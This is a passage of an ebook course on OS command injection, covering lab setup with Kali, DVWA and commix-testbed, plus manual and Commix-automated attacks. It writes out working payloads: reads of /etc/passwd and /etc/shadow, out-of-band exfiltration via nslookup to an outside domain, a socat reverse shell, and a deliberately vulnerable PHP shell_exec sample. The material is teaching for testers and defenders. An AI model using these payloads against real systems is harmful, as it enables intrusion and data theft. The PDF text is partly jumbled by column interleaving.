0% found this document useful (0 votes)
122 views42 pages

OS Command Injection - EBOOK - v2

This document introduces an e-book on OS command injections. It covers setting up a lab environment to practice attacks and defenses. The course aims to give a thorough understanding of OS command injections, how to carry them out, and how to defend applications. It will involve hands-on demonstrations of attacks that could happen against web applications.

Uploaded by

bakie
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
122 views42 pages

OS Command Injection - EBOOK - v2

This document introduces an e-book on OS command injections. It covers setting up a lab environment to practice attacks and defenses. The course aims to give a thorough understanding of OS command injections, how to carry them out, and how to defend applications. It will involve hands-on demonstrations of attacks that could happen against web applications.

Uploaded by

bakie
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 42

Introduction to OS Command Injections 

This an ebook version of our ​Introduction to OS Command Injections course​. We know some 
people may prefer the format of an ebook over a series of lessons online, or of written versus 
video lessons. In any case, we hope you enjoy it! 

© 2020 - Cybr 
 

Table of Contents 
1. Getting Started 
a. Whoami and about the course 
b. Setting up our lab environment 
2. OS command injections 
a. Important command line concepts 
b. Overview of OS Command injections 
c. Attacking web apps manually 
d. Automated attacks with Commix 
e. Creating and exploiting backdoor shells 
3. Defenses against OS command injections 
a. How to defend against OS command injections 
b. Avoid calling OS commands directly 
c. Escape values added to OS commands specific to each OS 
d. Parameterization in conjunction with Input Validation 
e. Additional Defenses 
f. Code examples 
4. Conclusion and other resources 
a. Additional resources 
b. What now? 

 
 

​© 2020 - Cybr 
 

 
 

Whoami and about 


the course 
Slides used in this lesson. 

Hi, I’m Christophe Limpalair, and I will be  For example, there are many different types 
your instructor for this course. I want to take  of injection attacks, and even if you’re 
the time to first of all thank you for enrolling,  familiar with one type, it doesn’t mean that 
and second, to share more details about  you understand the others. That’s why we 
how the course is structured, what you will  have a complete course available, for free, 
learn, and what the pre-requisites are to  that covers all of the web injection attacks 
taking this course.  from the OWASP top 10 list, including SQL 
injection. 
Injection attacks are one of the most serious 
web application security risks that we face  But, for this course, we’re going to focus 
today, and have been facing for years. But  entirely on OS Command Injections. 
unless you understand how injections work, 
The goal is to give you a thorough 
it’s impossible to properly defend your 
understanding of OS Command injections, 
applications. 
how attacks can be carried out, and how to 
defend our applications against them. 

In my opinion, there’s no better way of doing 


that than to get our hands dirty and perform 
attacks that could happen against our own 
applications, so that’s exactly what we’ll do 
in this course. 

  I’ll show you how to set up the same 


environments and tools that I’ll be using, so 

​© 2020 - Cybr 
 

you can follow along attack by attack in a 


 
safe and legal way. 
But, otherwise, I’m a co-founder of Cybr.com 
But first, we have to understand what 
where we’ve built a cybersecurity 
injection attacks are and how they work, and 
community with training resources. I first got 
then we can move on to the practical side 
started in IT at the age of 11, after setting up 
and apply those concepts. 
websites for video game clans. These clans 
Before we get started, let’s talk about  made a lot of competitive enemies, so our 
pre-requisites and who this course is for.  websites were constantly getting attacked 
and compromised, and we had to learn how 
This is not meant to be an entry-level course 
to defend them.  
if you’re just getting started in IT. You have 
to have a basic understanding of the 
Operating System command line, and web 
development in general.  

If you’ve never typed commands on a 


command line before in either Linux or 
Windows, or you don’t understand the 
concepts of a web application and that they 
run on servers, you will struggle to 
understand this course and I recommend 
that you start there first. While this course 
will focus entirely on Linux demonstrations, 
don’t let that scare you away if you are only   
familiar with the Windows command line! 
Instead, this can be a good learning 
opportunity. 

Otherwise, if you’re at least a bit familiar with 


those topics, we’ll walk through the rest 
together step-by-step. 

In the rest of this lesson, I’ll share a bit more 


about my background and who I am. If 
you’ve already taken courses from me, feel 
free to skip along to the next lesson since 
you’ve likely already heard what I’m going to 
 
say. 

​© 2020 - Cybr 
 

empowered to learn about the risks facing 


Nothing serious ever came of it since we 
their applications today, because if they 
were all teenagers, but I absolutely loved it 
don’t know about them, they’ll end up on 
and got hooked right away. Fast forward a 
that long list of vulnerable applications, and 
few years, and I jumped on the cloud 
perhaps even on one of those dreaded 
computing train that was really starting to 
news announcements. 
take off. I joined a fairly small online training 
platform at the time, and helped grow it into  All of that to say: I’ve always had a passion 
a leading cloud training platform before we  and interest in not just IT, but in helping 
were acquired in 2019.  people learn, and making the world a more 
secure place. This course is created from a 
Along the way, I couldn’t help but notice a 
combination of my years of experience 
similar challenge that individuals and 
building and architecting web applications, 
organizations were facing, with the constant 
of training individual engineers, IT managers, 
news articles announcing large-scale hacks 
and executives at companies large and 
that were oftentimes caused by simple 
small, and of hours upon hours of research 
issues. After doing further digging on the 
to put together the best information that I 
state of web and application security, it was 
could find in order to make your learning 
quite shocking to see how many applications 
journey as enjoyable, practical, and 
currently in production have known 
informational as possible. 
vulnerabilities.  
So strap in, put on your white hat, and get 
There are a number of reasons for this, and 
ready to do some Ethical Hacking! 
not one solution to solve it all, but one thing 
is clear: we need more developers who are 
 

Setting up our lab 


environment 
course. This is an important lesson to 
In this lesson, we walk through setting up 
complete if you want to apply what you’re 
our environment in order to follow along with 
learning hands-on, so if you get stuck at any 
the hands-on demonstrations throughout the 

​© 2020 - Cybr 
 

point in time, please reach out and we’ll help  download the OS X version, but if you’re on 
you resolve the issue so that you can move  Windows you would download that version. 
on. 
Then, follow the steps to install VirtualBox. 
The first thing we need to configure is Kali  At this point, if you have any issues during 
Linux, which is a free Linux distribution that’s  the installation and you can’t figure out a 
often used for digital forensics and  solution, please reach out in our forums and 
penetration testing. The reason we want to  we’ll be glad to help. 
use Kali is because it comes pre-installed 
Once you have VirtualBox installed and 
with many of the tools we’ll be using 
running, it’s time to set up Kali Linux. 
throughout the course, which will help us get 
going and avoid issues that can come from  There’s a great tutorial for using Kali ISOs 
running different operating systems.  located at this URL with instructions​, so I 
won’t go into too much depth if you want to 
install Kali using an ISO which provides a bit 
more customizability but takes longer and 
requires more configuration: 

Instead, I’ll use an OVA version. The main 


difference between OVA and ISO is that 
OVA will import Kali into VirtualBox instead 
  of installing it as if we were inserting a CD 
version of Kali. This is a very simple way of 
Creating a Kali VM with  getting Kali up and running without having to 
configure a lot of settings, and it will work 
VirtualBox  just fine for this course. 

Don’t worry, this step is not difficult and it  First, we’ll want to download Kali at this URL: 
doesn’t take too much time. And again, this  https://www.kali.org/downloads/ 
is all free. 
If you want an ISO image of Kali to be able to 
If you don’t already have VirtualBox or  boot from it, then you can download from 
VMWare, go ahead and download  that page, but since we’re using the OVA 
whichever one you prefer, but I’ll be using  version and VirtualBox, we’ll need to click on 
VirtualBox.  this link: 
https://www.offensive-security.com/kali-linux
All you have to do is go to ​virtualbox.org​ and  -vm-vmware-virtualbox-image-download/ 
download the latest version for your current 
operating system. I’m on a mac, so I’ll 

​© 2020 - Cybr 
 

And we’ll download the 64-Bit version. This  Select the virtual machine in VirtualBox and 
can take a few minutes depending on your  then click on Settings. 
internet connection. 
Go to “USB” (if doing this on Windows) or 
Once you’ve downloaded the OVA, go to  “Ports” (if doing this on Mac). 
VirtualBox and Import the Appliance (File -> 
You can then uncheck the box “Enable USB 
Import Appliance), or double-click the OVA 
controller” (you will need to click on the 
file. 
“USB” tab on Mac after clicking on Ports) 
Before importing, you’ll want to  and save settings. 
double-check settings to make any 
modifications necessary. Then, start the 
import process. This can take a few minutes. 

We’re now ready to start the machine. 


 
Log in using kali/kali as username/password 
After importing the appliance, we can check 
(we will change this in a moment). 
Settings again to make further modifications. 
Some of the settings to take a look at 
include CPU and Memory allocation, and this  Changing the default 
will depend on your system and how much 
you are willing to allocate to this virtual  password 
machine, so I’ll leave that up to you.  passwd 
One setting I ran into issues with, however, 
Make sure you read the instructions because 
is the USB 2.0 settings. 
people oftentimes blow through those steps 
In our case, we will need to disable USB 2.0,  and wonder why it doesn’t work :-). The 
or install a package that enables this  system will ask you to put in your current 
functionality. Since we won’t be needing  password first, then your new password 
USB 2.0, I chose to disable it.  twice. 

​© 2020 - Cybr 
 

Installing Docker in Kali 


We’re now ready to install software that we 
will use throughout the course. 

Let’s start by installing Docker.  

Step 1: Add a Docker PGP key 


curl -fsSL
http​s:​//download.docker.​com​/linux/
debian/gpg | sudo apt-key ​add​ -  At this point, docker service is started but 
not enabled. Run: 
We do this for privacy and also for file 
integrity to help make sure no one is  sudo systemctl ​start​ docker 
tampering with our download. 
If you want to enable docker to start 
Step 2: Add and configure the  automatically after a reboot, which won’t be 
the case by default, you can type: 
Docker APT repository 
sudo systemctl enable docker 
echo​ ​'deb [arch=amd64]
https://download.docker.com/linux/ I prefer not to do that, since I don’t always 
debian buster stable'​ | sudo tee
use Docker when launching this Kali virtual 
/etc/apt/sources.​list​.d/docker.​lis
machine.The last step is to add our non-root 

user to the docker group so that we can use 
Now we can update our package manager:  Docker: 

sudo apt-​get​ ​update  sudo​ groupadd docker


sudo usermod -aG docker ​$USER 

Step 3: It’s time to install Docker 


We now need to reload settings so that this 
sudo apt-get install docker-ce  permissions change applies. 
new​grp​ docker 
We can test our install with: 
sudo docker ​run​ hello-world The best way to reload permissions, though, 
is to log out and back in. If that doesn’t work, 
try to reboot the system. Otherwise, you may 
found that other terminal windows haven’t 
reloaded settings and you may get 

​© 2020 - Cybr 
 

“permission denied” errors. But, if you’d 


rather not log out or reboot at this time, you 
can use the above command. 

Running our target 


environments with Docker 
With docker installed, we can now pull in 
different environments as we need them, 
without having to install any other software 
 
for those environments. 
You can navigate to 127.0.0.1 in your 
The Damn Vulnerable Web  browser in order to access the web 
Application (DVWA)  application. 

For example, if we want to run the Damn  It will ask you to login, and you can use the 
Vulnerable Web Application, we can do that  username admin and password 
with this simple command:  password.Initially, you will be redirected to 
docker run --rm -it -p 80:80 localhost/setup.php where you can check 
vulnerables/web-dvwa  configurations and then create the database. 

If that doesn’t work, try running this 


command first: 
The Commix Testbed 
docker pull vulnerables/web-dvwa  Another environment we’re going to use in 
the course is a commix-testbed which was 
And then re-run the docker run command  created specifically to test a tool called 
above.  commix which we will explore later on. 
You’ll have to wait until it downloads the  While there are ​instructions​ on the main 
needed images and starts the container.  GitHub for how to install this application, I 
After that, it will show you the apache access  much prefer using something like Docker to 
logs so you can see requests going through  spin up and spin down environments, 
the webserver.   especially if I’m only temporarily using those 
environments.  

​© 2020 - Cybr 
 

Since I couldn’t find a dockerized version of  docker ps 


this app, I created one. Using it is very 
Grab the ID(s), and use them in this 
simple, just type 
command: 
docker run --rm -d -p 3000:80
docker ​kill​ <id> 
cybrcom/commix-testbed 

This will shut down, or kill, the container(s). 


And since we already have the DVWA app 
You can verify that by doing another docker 
running on port 80, we’re running the 
ps which should show no more running 
testbed app on port 3000. This time, we 
containers. 
passed in the ​-d​ symbol in order to run this 
container in detached mode to free up our 
terminal window for other things.  Conclusion 
It can be helpful to remain attached to the 
Feel free to explore these applications if 
DVWA since it prints out apache logs that 
you’d like, and then go ahead and move on 
we can look at, but here there won’t be 
to the next, where we will start to review 
anything to see. 
important concepts to understand before we 
Open up your favorite browser and go to  can perform command injections. 
localhost:3000 where you will see the 
commix-testbed directory. Click on that, and 
you will be in the testbed app. 

 
From there, we have multiple scenarios to 
walk through, but we’ll keep that for another 
lesson. 

Shutting down Docker 


containers 
Once you’re done with your container 
environments, you’ll probably want to shut 
them down. To do this, type: 

​© 2020 - Cybr 
 

 
 

Important command 
line concepts 
Slides used in this lesson. 

Typical web applications run on servers, so  Also, this threat goes beyond just web apps, 
chances are that if you’ve ever had to set up  since it could also be used against things 
a web app before, you’ve had to run  like printers, routers, raspberry pis, arduinos, 
commands on the command line, regardless  and really anything running on an operating 
of whether your server was running Linux or  system, if an application introduces that 
Windows.  vulnerability. 

Maybe it was to create a directory, create  While there are entire courses dedicated to 
files, change permissions on files, or install  teaching the command line, we don’t have 
software like a webserver or database.  time for that in this course, so instead, this 
lesson will only cover some key command 
As we’ll see in another lesson, OS Command 
line concepts to help refresh your memory 
Injections let an attacker execute operating 
before we move on to explaining OS 
system commands on the server that is 
command injections. 
running an application. So those same 
commands that you’ve run on your own 
servers could potentially be run through your  Start your container 
application by a threat agent, against your 
servers and applications.  For this lesson, we’ll stick to Linux, and I’ll be 
using our Commix-testbed environment, 
That’s why it’s important to have some  although you could run these straight on 
knowledge of the command line, because if  your host OS since they aren’t harmful 
you don’t, you won’t know how to find and  commands. Keep in mind that you can also 
then exploit this type of vulnerability.  run equivalent commands on Windows, 

10 

​© 2020 - Cybr 
 

though, but we won’t be demonstrating that  ● echo '​Test​ ​file​' > ​test​.txt ​– 
in this course.  outputs strings or variable values to 
a file 
To pull up our Commix environment, if we 
● cat​ ​test​.txt​ – reads and outputs 
don’t already have it up and running, we 
file contents 
simply need to type: 
● cat ​/etc/​passwd ​– /etc/passwd 
docker run --rm -d -p 3000:80 stores user account information and 
cybrcom/commix-testbed  is a plaintext file, so if you’re able to 
read it, you can gather information 
Followed by 
like user IDs, group IDs, home 
docker ps  directories, and potentially even 
passwords, although if you see an x 
To find the container ID.  in the password entry, it means the 
encrypted password is stored in 
Then, we will jump into the container with: 
/etc/shadow instead 
docker exec -​it​ <container-​id​> ● cat ​/etc/​shadow​ – this file stores 
/bin/bash 
the hash of encrypted passwords. In 
this container, we haven’t created 
Basic commands to understand 
any custom users with passwords, so 
Let’s start with basic navigation commands:  this isn’t the best example, but 
otherwise you’d see that here. 
● ls​ ​– lists directory contents of files 
and directories  Then we have other types of commands that 
● ls -l​ ​– lists directory contents in a  provide information about the system, like: 
long format, including permissions, 
● whoami​ ​– names the current user 
owners, and groups as well as other 
● uname -a​ – lists the operating 
information 
system 
● ls -a​ – same as ls but does not 
● ifconfig​ ​– lists network 
ignore entries starting with a . 
configuration 
● ls​ -​la​ – combines the two prior 
● netstat -an​ – lists network 
options 
connections; and if we open up a 
● pwd​ ​– list your current directory 
browser and connect to the 
● cd​ ​– change directories 
application and re-run this command, 
● mkdir​ ​– creates a directory 
we’ll then see that connection 
● rm​ -​r​ – deletes files or directories, 
● ps -ef​ – lists running processes 
and the -r is recursive for directories 
● which <​name​>​ – identifies the 
● echo​ ​– outputs strings or variables 
location (and existence) of 
values 

11 

​© 2020 - Cybr 
 

executables, like which python, or 


which php  Running  ps -ef  tasklist 
● wget <​url​>​ – downloads file  processes 
● sleep​ ​– sets a timeout for a 
specified length of time, like sleep 5,  Identify the  which  where 
which as we will see later, can  location 
become a useful command to find  (and 
vulnerabilities  existence) of 
● sleep​ 5; ​ls​ – we can even chain  executables
commands with ;   

Equivalent commands for  Download  wget  (new-object 


file  System.Net.
Windows  WebClient).
DownloadFil
To wrap up, here’s a chart that contains the 
e($url, 
commands we just looked at, as well as their 
$path) 
equivalent in Windows. 

  Sleep/timeo sleep  Use ping or 


ut   timeout in 
Purpose of  Linux   Windows  batch file 
command 

Current  pwd  dir 


Name of  whoami  whoami  directory 
current user 
Source: Cybr and ​Portswigger 
Operating  uname -a  ver 
We’ll look at some additional commands in 
system 
the next few lessons, but again, I wanted to 
give you a refresher of basic OS commands 
Network  ifconfig  ipconfig /all  since these can not only be used to find 
configuratio vulnerabilities, but they can also be used to 
n  exploit vulnerable targets. 

Network  netstat -an  netstat -an 


connections 

12 

​© 2020 - Cybr 
 

Have other favorite commands that you 


Conclusion  think we should add to this list? Share with 
us in the ​Forums​ or on ​Discord​! 
So go ahead and complete this lesson, and 
I’ll see you in the next! 
 

Overview of OS 
command injections 
Slides used in this lesson​.  Hearing that sentence alone should freak 
you out because if someone is able to get 
When I first heard the term OS Command 
remote access to execute commands on 
injection, or “Shell injection” as some people 
your server’s OS, you are going to be having 
refer to it, I don’t know why but I assumed it 
a very bad day — assuming that you even 
was some very advanced and obscure 
realize it. 
technique. 
Why? Because it means they could 
In reality, it’s quite similar to ​SQL injection 
potentially get full system control and be 
techniques​, it just requires a slightly different 
able to: 
skillset.  
1. Infiltrate your local network 
2. Access sensitive data 
What are OS Command  3. Upload or download certain data or 
Injections?  malware 
4. Create custom scripts 
OS command injections allow attackers to  5. Run those scripts or other 
execute arbitrary operating system  applications as administrators 
commands on the server that is running an  6. Edit user security levels 
application.  7. and more 

13 

​© 2020 - Cybr 
 

OS Command injections require familiarity 


How are OS Command  with how the operating system works. That 
usually means either Windows or Linux, 
Injections possible?  since these two alone power pretty much all 
web apps. If a server you are trying to 
So how is this possible? Well, these types of 
compromise is running Linux, you need to 
injections and attacks are made possible 
be familiar with Linux commands, and vice 
when unsafe user-supplied data is allowed 
versa for Windows. Some commands can 
to be injected in a system shell from an 
work on both, so that can help with 
application. 
information gathering, until we know which 
If you’re not a sysadmin, a shell is simply an  OS is powering the application and narrow 
interactive command language that also  down our payloads. 
doubles up as a scripting language. 

So if an application is designed in a way that  What OS Command 


takes a user’s input and runs it through a 
shell command, then bad things can happen. 
Injections look like 
Let’s take a quick look at what a basic OS 
Command injection looks like, and then we’ll 
explore other types of techniques. 

Let’s say that you’ve built a plugin for a client 


that allows them to upload and delete files 
from their server, but without having to 
manually log into the server and learn how 
to navigate Linux. 

This is what the code might look like: 


  <?php
// Delete the selected file
If an attacker successfully pulls off this type 
$file=$_GET[​'filename'​];
of injection, they can assume whatever 
shell_exec(​"rm $file"​);
privileges the application has. This means 
?> 
that if the server is misconfigured and you 
are running applications with elevated  This will take a file name from the user, and 
privileges, a successful injection could  then execute the command rm via shell, 
completely compromise your server.  returning the complete output as a string. 

14 

​© 2020 - Cybr 
 

command, which means we can tell whether 


rm​ if you’re not familiar, is the command to 
our injection succeeded or not. 
remove a file. 

So you would type ​rm <filename>​ and it 


would delete that file. You could also use it 
Blind OS Command 
to delete entire directories.  Injection Techniques 
This code is vulnerable to injection, because  Sometimes our attacks don’t output anything 
instead of just selecting a file name, you can  back, and we don’t receive any indication 
inject other commands and run them directly  that a command injection worked, but that 
from the shell!  doesn’t mean that it didn’t work. We could 
shell_exec(​"rm old_file.txt; simply be dealing with a Blind OS Command 
pwd"​)​;  injection vulnerability. 
● ;​ - separator 
If you’re going at it blind, meaning that the 
● pwd​ ​- arbitrary OS command 
app doesn’t return any output within its 
All of a sudden, the code will delete the  HTTP response giving you an indication that 
old_file.txt​, but it will also run the pwd  it worked, we can try a couple of techniques: 
command which outputs the full pathname 
1. Time-based attacks 
of the current working directory, which can 
validate that the injection worked and it can  We can try injecting time delays to see if it 
help you gather information about the  affects the query, because if it does, that 
application’s path structure.  means there’s a vulnerability. 

The reason we use the semicolon is  2. Redirecting output 


because it allows us to chain commands 
Another technique is to redirect output from 
together without causing errors. So in that 
the injected command into something like a 
case it will run the ​rm ​command first, and 
file within the application’s web root, which 
then the pwd command, otherwise it would 
you can then retrieve using your browser. 
have returned an error message. 

The ​;​ only works on Unix-based systems, so 


if it were for a Windows server we could use  Time-based Attacks 
&​ (which also works for Unix-based systems 
In the case that our prior attack wouldn’t 
by the way). 
have returned any results, we could try this 
What we just saw would be called a  one instead which will add a 5 second timer 
results-based command injection, since  before responding. At that point, even if you 
we’re able to see the results of our injected  don’t get any output from the pwd 

15 

​© 2020 - Cybr 
 

command, you will still see the application  outputs. To solve that problem, we can use a 
hang for 5 seconds if it is successful. We’ll  technique called “redirecting outputs.” 
see this in action in the next lesson. 
For example, if the application serves static 
rm old_file.txt; ​pwd​; sleep 5  images or CSS & JavaScript files from your 
web root at ​/var/www/static/<files>​, 
This technique can result in false-positives 
you could generate a text file: ​whoami​.txt 
because there could be a random time delay 
and then pull it up in your browser, like this: 
caused by the server instead of our injection 
technique, leading us to believe that we  rm old_file.txt; whoami >
were successful even though we weren’t.  /​var​/www/​static​/whoami.txt & 

Another more advanced technique would be  We can then visit the website’s URL and pull 
using an if statement, like this:  up that text file we just created: 
https:​//vulnerable-website.com/whoa
; str=​$​(echo GLKKDT);
str1=​$​(expr length ​"$str"​); mi.txt 
if​ [ ​6​ != ​$​str1 ];
In this case, because we output ​whoami
​then​ sleep ​0​;
which names the current user, we now know 
else​ sleep ​5​;
which user we’re running as, which gives us 
fi 
helpful information to carry out more attacks. 
Store the string ​GLKKDT​ ​in ​str ​and then 
store the length of our variable ​str ​in ​str1​. 
Then, check to see if the length of ​str1 ​is 
Out-of-band 
6, and if it is, sleep for 5 seconds. If it’s not,  An alternative is using the out-of-band 
don’t sleep.  technique, similar to what we saw in the SQL 
With this example, if our injection isn’t  injection section. Except for this time we can 
successful, then there won’t be a delay. If it  potentially have even more flexibility since 
was successful, there will be a delay of at  we can tap into operating system 
least 5 seconds, and maybe slightly longer  commands. 
depending on the server response time.  Let’s say for example that you can use 
& nslookup https:​//cybr.com &  
Redirecting Output 
You could monitor your own domain name 
Setting a sleep timer can help us know that  and see that a request was initiated, which 
an injection was successful, but it doesn’t  lets you know that the injection was 
solve our problem of not being able to see  successful. 

16 

​© 2020 - Cybr 
 

2. How OS Command Injections are 


Then, you can start to send interesting 
possible 
information to your domain: 
3. What they look like 
; nslookup `whoami`.cybr.com &  4. Results-based techniques 
5. Blind injection techniques 
By using the backticks (​`​), on Unix-based 
systems, it will perform inline execution  Now, let’s go ahead and complete this 
within the original command. We can also  lesson, and move on to the next where we 
use ​$(​command​)​.  will attack a web application using what 
we’ve learned so far about OS Command 
If the user is ​www​-​data​ you would see a  Injections. 
request for: 
www-data​.cybr.com 

And this will let you gather information 


straight from your own server. 

Conclusion 
 
 
So, to recap, we’ve learned about: 
 
1. The potential impact of successful 
attacks 
 

Attacking web apps 


manually 

17 

​© 2020 - Cybr 
 

on the low security level difficulty, it is not 


required. 
Get the DVWA up and 
We can see where we are in the server 
running  using: 

Let’s pull up the Damn Vulnerable Web  ; ​pwd 


Application to see command injections in 
Which returns this path: 
action! 
/var/www/html/vulnerabilities/​exec 
If you don’t already have Docker installed, 
go ahead and do that now, following  Let’s pretend that we’re not getting any 
instructions from the 2nd chapter.  output, and so we’re not sure if our 
injections are working or not. 
Then, spin up the DVWA container: 
systemctl start docker As you will remember from the prior lesson, 
docker run --rm -it -p 80:80 one technique we can use to solve this 
vulnerables/web-dvwa  problem is a time-based attack: 

Go through the steps to configure the app. 


Login with admin/admin, configure the  Time-based attack 
database, and log back in with 
admin/password.  Type this in the input: 
; ​pwd​; sleep 5 

Your first OS Command  You can see the application hanging for 
approximately 5 seconds, and so now you 
Injections  know that your sleep injection worked, 
Go to “Command injection” in the left  which means the pwd also most likely 
navigation.  worked. 

In the input field, type:  Luckily, in this situation, we are able to see 
the output, and this output is telling us that 
; ls -a 
the webroot for the app is at 
/var/www/html/​. 
This lists out all the files and directories in 
your current, working directory.  This is perfect, because while we could have 
tried to guess the web root directory since 
You could also type in an IP to ping before 
this is a standard, especially for apache, 
that semicolon, but as you can see, at least 

18 

​© 2020 - Cybr 
 

we’ve now confirmed it and we can use that 


This is a plain text-based database that 
to our advantage. 
contains information for all user accounts on 
the system, so this would be a valuable file 
Redirecting output  to try and expose. 

For example, if we want to figure out what  Let’s try that now: 
user we are on the system, we could do that  ; cat /etc/passwd ; 
by redirecting the output from our command 
and create a text file with that output like we  The result: 
saw in the prior lesson: 
; whoami >
/var/www/html/whoami.txt ; 

Then navigate to 


http://localhost/whoami.txt 
 
And you will see ​www-data 

Remember, this could also be a useful 


technique for blind injections since it lets us 
Creating a reverse shell 
output data that we otherwise wouldn’t see.  Now, let’s kick it up a notch. Let’s see if we 
If we want to know the user ID, group ID, and  can’t create a reverse shell to connect to the 
group name, we can run this command:  server and run commands that way. 

; ​echo​ ​"​$(id)​"​ > I’m going to do this using a tool called socat 
/var/www/html/whoami.txt ;  which is fairly similar to netcat if you’re 
familiar with that. 
We will see: 
On your host, in this case Kali, we’re going to 
uid=33(www-data) gid=33(www-data)
create a listener: 
groups=33(www-data) 
socat file:`tty`,raw,​echo​=0
tcp-listen:1337 
Listing all users and 
Then, on the server, we want to connect to 
attributes  that port. To do that, I first need to figure out 
the IP address that it will connect to: 
If you’re familiar with Linux OS, you’ll be 
familiar with ​/etc/passwd​.  sudo ifconfig 

19 

​© 2020 - Cybr 
 

I’m looking for ​eth0 ​, and mine is:  We can navigate around…for example, let’s 
10.0.2.15  go find our text file we created earlier: 
cd​ /var/www/html
Now that I have it, I can inject this command  ls
in the application:  cat whoami.txt 
; socat tcp-connect:10.0.2.15:1337
At this point, go ahead and have fun with the 
exec​:bash,pty,stderr,setsid,sigint 
reverse shell since there’s a bunch of stuff 
At this point, our connection should be  you can do, and when you’re ready, I’ll see 
established, and we are now in the server.  you in the next lesson! 

ls 

We could read through the source code of 

 
the application, which would undoubtedly 
lead us to finding even more vulnerabilities, 
potentially some secrets, or potentially even 
modify the source code! 
 

Automated attacks 
with Commix 
 

Now that we’ve performed manual OS  1. To get a better grasp of how 
Command injection attacks, let’s take a look  injections work beyond just the 
at using an automated tool called Commix.  concepts 
2. While automated tools are great, 
The reason that we started with manual 
sometimes they’re not available or 
attacks is twofold: 
they don’t behave the way that we 
need them to 

20 

​© 2020 - Cybr 
 

a few updates on my system and also 


But, automated tools can drastically speed 
updated to Kali 2020.3 since it just came 
up tests, find vulnerabilities that we may not 
out. I’m not sure if that’s what caused issues 
find manually, and in general, help find the 
or not, but when I tried to use the natively 
low-hanging fruit so that humans can focus 
installed Commix again, I kept getting a 
in other areas. 
Critical 13 error.  

Getting started with 


Commix 
That’s why, in this lesson, we’re going to 
look at a tool called ​Commix​. Commix is 
short for [comm]and [i]njection e[x]ploiter 
that can be used by web developers, 
penetration testers or even security 
researchers in order to test web-based   
applications with the purpose of finding 
A fix I found is to download the source code 
bugs, errors or vulnerabilities related to 
and run it using python. So I downloaded 
command injection attacks. 
v3.2-dev Commix instead of v3.1-stable. This 
It’s an easy tool to use, it’s compatible with  is not the default that comes with Kali, and it 
other popular tools & frameworks like  is a dev version, so keep that in mind. If 
SQLMap, Metasploit, and others; it’s modular  you’d rather use the stable version, you 
meaning that you can develop your own  could try downloading that instead (under 
modules for it, it’s cross-platform and you  Releases in ​GitHub​). 
really only need Python to run it, and it’s 
Keep in mind that there may be different 
open source! 
versions by the time you go through this 
It’s actually even featured in major  lesson anyway, so your numbers might be 
pentesting distributions like Kali, BlackBox,  different. 
Parrot, and others. 
In any case, to start, download it from 
So if we go over to our Kali installation and  GitHub: 
search for it, we’ll see that it’s already  wget
included.  https:​//gi​thub.com​/commixproject/​c
ommix​/archive/m​aster.zip 
At the time of this recording, though, I had 
recently gone through and performed quite  Next, 

21 

​© 2020 - Cybr 
 

unzip ​master​.zip  examples we might find in the real world 


when checking our own applications. 
Let’s remove that zip file: 
The reason that they are broken out like this 
rm​ master.​zip  is because it outlines different potential 
entry points for our OS Command injection 
Go into our new directory  attacks. 
cd​ commix-master 
With GET requests, we’ll try to inject URLs. 
From there, we can run commix directly with  With POST requests, we’ll try to inject inputs 
via the POST method, and then with HTTP 
python​ commix.​py 
headers, we’ll try to exploit cookies, referrer 
HTTP headers, and user-agent HTTP 
By the way, as an alternative, I tried installing 
headers. 
this new version as the main version, but for 
some reason that still caused the Critical 13  The regex filters section shows us different 
error. So, to make sure that you have a  security controls that try to implement 
smooth experience in this course, let’s stick  regular expression filtering to prevent 
to using it this way.  malicious input, with varying success. This is 
helpful to see realistic code examples of 
attempts to defend against OS Command 
Pulling up our Commix 
injections that are still vulnerable. 
Testbed environment 
Alright now let’s pull up the commix-testbed  Our first attack with 
app instead of the DVWA. If you don’t 
Commix 
already have it running, type this command: 
docker ​run​ ​--rm -d -p 3000:80 Let’s start with the first one to make sure 
cybrcom/commix-testbed  everything works as expected, and then 
we’ll move on to some other scenarios. 
Then navigate to 
http:​//localhost:3000/commix-testbe We’ll click on the GET version. Your URL 
d  should now look like this: 
http:​//​localhost:​3000​/commix-testbe
From there, you will see a number of  d/​scenarios​/regular/​GET​/classic.php 
different scenarios and categories for us to 
test. Starting from the left, we have our  From there, we see an input box further 
classic and simple examples, but each with  down on the page which lets us ping an ip 
its own restrictions which serves to mimic  address. But, instead of pinging an address, 

22 

​© 2020 - Cybr 
 

let’s test with a very basic command  create backdoors on the target 
injection:  system 
; pwd  ● Modules options, which can be used 
to increase the detection and/or 
OK great, that worked. We now know the  injection capabilities 
path structure of this application, and more  ● Injection Options, which can be used 
specifically, this endpoint:  to customize injection payloads and 
specify which parameters to inject 
/var/​www​/example.com/​public_html​/c
● Detection options, which can be 
ommix-testbed/​scenarios​/regular/​GE
T  used to customize the detection 
phase of injection vulnerabilities 
We also know that this input is vulnerable to  ● and then Miscellaneous options 
OS Command injections, so let’s bring out 
Let’s put these options to work with our first 
the big guns. 
attack against this input. 
Commix command and options 
Structuring a Commix attack 
In order to understand how to use Commix, 
Going back to the testbed app, we can look 
we have a few options. The first and 
at the URL and since it was a GET request, 
quickest is to type -help: 
we see how the URL is structured which will 
python​ commix.​py​ -​help  help us build our attack and identify where 
to inject payloads. 
This will bring up the list of commands and 
options we can use with Commix, starting  Now we can type this: 
with:  python commix​.py
--url=​"http://127.0.0.1:3000/commi
● General options 
x-testbed/scenarios/regular/GET/cl
● Target options, to define a target 
assic.php?addr=INJECT_HERE" 
URL 
● Request options, to define how to  The ​INJECT_HERE​ ​placeholder tells Commix 
connect to the target URL  where to inject its payloads. 
● Enumeration options, which is used 
to find possible entry points and  Let’s submit this. 
vulnerable information in the target 
We will see: 
system 
● File access options, which can be  [​info​] The ​GET​ parameter ​'addr'
seems injectable via
used to access, write, or upload files 
(results-​based) ​classic command
— an important option when trying to 

23 

​© 2020 - Cybr 
 

injection technique.  To gather information about what privileges 


we may have with our current user. In this 
Pseudo-Terminal shell 
case, we are the user ​www​-​data 
It asks us if we want a Pseudo-Terminal 
Although we already know the directory for 
shell, which will give us access to perform 
this endpoint, we can confirm here: 
commands on our target host. Type ​Y​ for 
yes.  pwd 

If we input a question mark, we’ll get a list of  Alright, let’s exit out of here for now with 
available options, and we can see things like  Ctrl + ​C 
